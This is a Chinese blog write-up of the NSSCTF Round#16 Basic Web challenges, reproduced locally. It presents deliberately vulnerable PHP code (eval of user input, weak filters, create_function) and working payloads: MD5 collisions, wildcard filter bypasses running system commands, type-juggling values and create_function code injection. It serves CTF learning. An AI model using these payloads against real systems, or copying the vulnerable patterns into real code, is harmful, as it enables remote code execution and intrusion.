Live2D

NSSCTF Round#16 Basic Web (本地搭的)

对唔住啊,很抱歉各位 我是看别人打的然后拖的几个代码自己本地搭建的
和原题 要阔难唔太呀yong

RCE但是没有完全RCE

点击查看代码
 <?php
error_reporting(0);
highlight_file(__file__);
include('level2.php');
if (isset($_GET['md5_1']) && isset($_GET['md5_2'])) {
    if ((string)$_GET['md5_1'] !== (string)$_GET['md5_2'] && md5($_GET['md5_1']) === md5($_GET['md5_2'])) {
        if (isset($_POST['md5_3'])&&md5($_POST['md5_3']) == md5($_POST['md5_3'])) {
            echo $level2;
        } else {
            echo "您!!!!!那么现在阁下又该如何应对呢";
        }
    } else {
        echo "还在用传统方法????";
    }
} else {
    echo "来做做熟悉的MD5~";
}

#RCE但是没有完全RCE  第一题 来做做熟悉的MD5~
payload:

?md5_1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&md5_2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

POST:md5_3=s214587387a
image
继续访问 3z_RC3.php

点击查看代码
 <?php
error_reporting(0);
highlight_file(__FILE__);
$shell = $_POST['shell'];
$cmd = $_GET['cmd'];
if(preg_match('/f|l|a|g|\*|\?/i',$cmd)){die("Hacker!!!!!!!!");
}
eval($shell($cmd));  

image
通过构建payload发现存在读取 只是flag几个字符被过滤
通过查询,可以用?cmd=dir来代替ls
image
(真的很抱歉,是自己搭建的 目录都丢一起的)
我不知道比赛的flag是怎么样的,自己本地随便搞得
payload1:?cmd=more [e-h][k-m][@-z][e-h].php POST:shell=system
image
得查看源码出
image
payload2:?cmd=vim [e-h][k-m][@-z][e-h].php POST:shell=system
image
ctrl U:
image
有个牛的师傅用这样的payload也出了
?cmd=system($_POST[1]);
POST:shell=urldecode&1=tac f*
image
他说:这里妙就妙在让$shell形同虚设,让$cmd自成一个包含函数和参数的完整命令执行。再要绕waf很自然就想到用$_POST[1]来转接。

了解过PHP特性吗

点击查看代码
 <?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
    die("no!!");
}
if (intval($num)) {
    $checker_1 = TRUE;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
    $ctype = strrev($_POST['ctype']);
    $is_num = strrev($_POST['is_num']);
    if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
        $checker_2 = TRUE;
    }
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
    if (!is_numeric($_514) && $_514 > 9999999) {
        $checker_3 = TRUE;
    }
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
    for ($i = 0; $i < count($arr4y); $i++) {
        if ($arr4y[$i] === "NSS") {
            die("no!");
        }
        $arr4y[$i] = intval($arr4y[$i]);
    }
    if (array_search("NSS", $arr4y) === 0) {
        $checker_4 = TRUE;
    }
}
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {
    echo $rce;
}

#了解过PHP特性吗  (第二题) 
感觉有点多,于是对他进行修改(我自己的kali环境有问题,换window了复现了)
点击查看代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
    die("no!!");
}
if (intval($num)) {
    echo "Hello World!";
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
    $ctype = strrev($_POST['ctype']);
    $is_num = strrev($_POST['is_num']);
    if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
        echo "3";
    }
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
    if (!is_numeric($_514) && $_514 > 9999999) {
        echo "4";
    }
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
    for ($i = 0; $i < count($arr4y); $i++) {
        if ($arr4y[$i] === "NSS") {
            die("no!");
        }
        $arr4y[$i] = intval($arr4y[$i]);
    }
    if (array_search("NSS", $arr4y) === 0) {
        echo "5";
    }
}

开始看第一关
image
不能用数字,加个 [] 即可
payload:?num[]=1
image
第二关:
image
说什么巴拉巴拉的一堆,要纯数字和字母的。。emmm,找到了个文章,试了不行 只能看别人的payload,要rev一下 不懂 (知道的师傅留言教教呗,)
ctype_alpha()函数做纯字符检测;is_numeric() 函数用于检测变量是否为数字或数字字符串。
payload:POST:ctype=OZDCKNQ&is_num=710269512e0
image
第四关
image
intval这个函数之前做题碰见过 改成和他差不多就行
image
114=9e5,,,,后面的9999999改成比他大加个字母就好咯
image
payload:114=9e5 POST:514=9999999999a
第五关
image
通过阅读在array后面加个'[]',后面的NSS前面加任意个字符或符号就可
arr4y[]=aNSS
image
最后全部的payload全部丢进原来那里
payload:?num[]=1&114=9e5
POST:ctype=OZDCKNQ&is_num=710269512e0&514=9999999999a&arr4y[]=aNSS
image
访问Rc3_function.php
image
create_function这个函数有篇文章,会创建一个什么东西然后把前面满足条件闭合加上;}phpinfo();/*
payload:shell=&nss=1;}phpinfo();/*
image
累了,不想找flag了。拿到phpinfo();就行 哈哈哈哈哈啊做咩耶啊

posted @ 2024-01-17 11:24  胖迪助理小玳  阅读(37)  评论(0编辑  收藏  举报